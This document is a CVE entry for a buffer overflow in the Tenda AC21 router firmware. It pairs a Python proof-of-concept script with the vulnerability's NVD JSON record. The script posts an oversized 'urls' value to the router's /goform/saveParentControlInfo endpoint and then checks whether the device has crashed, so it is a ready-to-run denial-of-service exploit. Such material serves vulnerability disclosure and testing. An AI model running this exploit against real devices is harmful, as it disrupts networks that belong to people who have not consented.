CVE-2025-65223

import requests import sys # CVE-2025-65223 PoC - Tenda AC21 Buffer Overflow # Target: /goform/saveParentControlInfo via urls parameter # Author: Security Research target_ip = sys.argv[1] if len(sys.argv) > 1 else "192.168.0.1" target_port = sys.argv[2] if len(sys.argv) > 2 else "80" url = f"http://{target_ip}:{target_port}/goform/saveParentControlInfo" # Generate payload with oversized 'urls' parameter # Buffer overflow occurs when string length exceeds allocated buffer size payload_size = 1024 # Adjust based on actual buffer size overflow_string = "A" * payload_size data = { "urls": overflow_string, "page": "1", "pageSize": "20" } print(f"[*] Sending exploit to {url}") print(f"[*] Payload size: {len(overflow_string)} bytes") try: response = requests.post(url, data=data, timeout=5) print(f"[+] Response status: {response.status_code}") # Check if device crashes or becomes unresponsive check_url = f"http://{target_ip}:{target_port}/" alive_check = requests.get(check_url, timeout=5) if alive_check.status_code != 200: print("[!] Target appears to be crashed or unresponsive") else: print("[*] Target still responding (may require larger payload)") except requests.exceptions.Timeout: print("[!] Request timeout - target may have crashed") except requests.exceptions.ConnectionError: print("[!] Connection failed - target unreachable") except Exception as e: print(f"[!] Error: {str(e)}")

{"cve": {"id": "CVE-2025-65223", "sourceIdentifier": "[email protected]", "published": "2025-11-20T15:17:40.440", "lastModified": "2025-11-21T17:25:10.917", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tenda AC21 V16.03.08.16 is vulnerable to Buffer Overflow via the urls parameter of /goform/saveParentControlInfo."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:ac21_firmware:16.03.08.16:*:*:*:*:*:*:*", "matchCriteriaId": "089AC516-5475-4725-B348-832A00ED0CC3"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:ac21:-:*:*:*:*:*:*:*", "matchCriteriaId": "05B05222-6E83-487C-A083-CED82D803330"}]}]}], "references": [{"url": "https://github.com/Madgeaaaaa/MY_VULN_2/blob/main/Tenda/VULN4.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}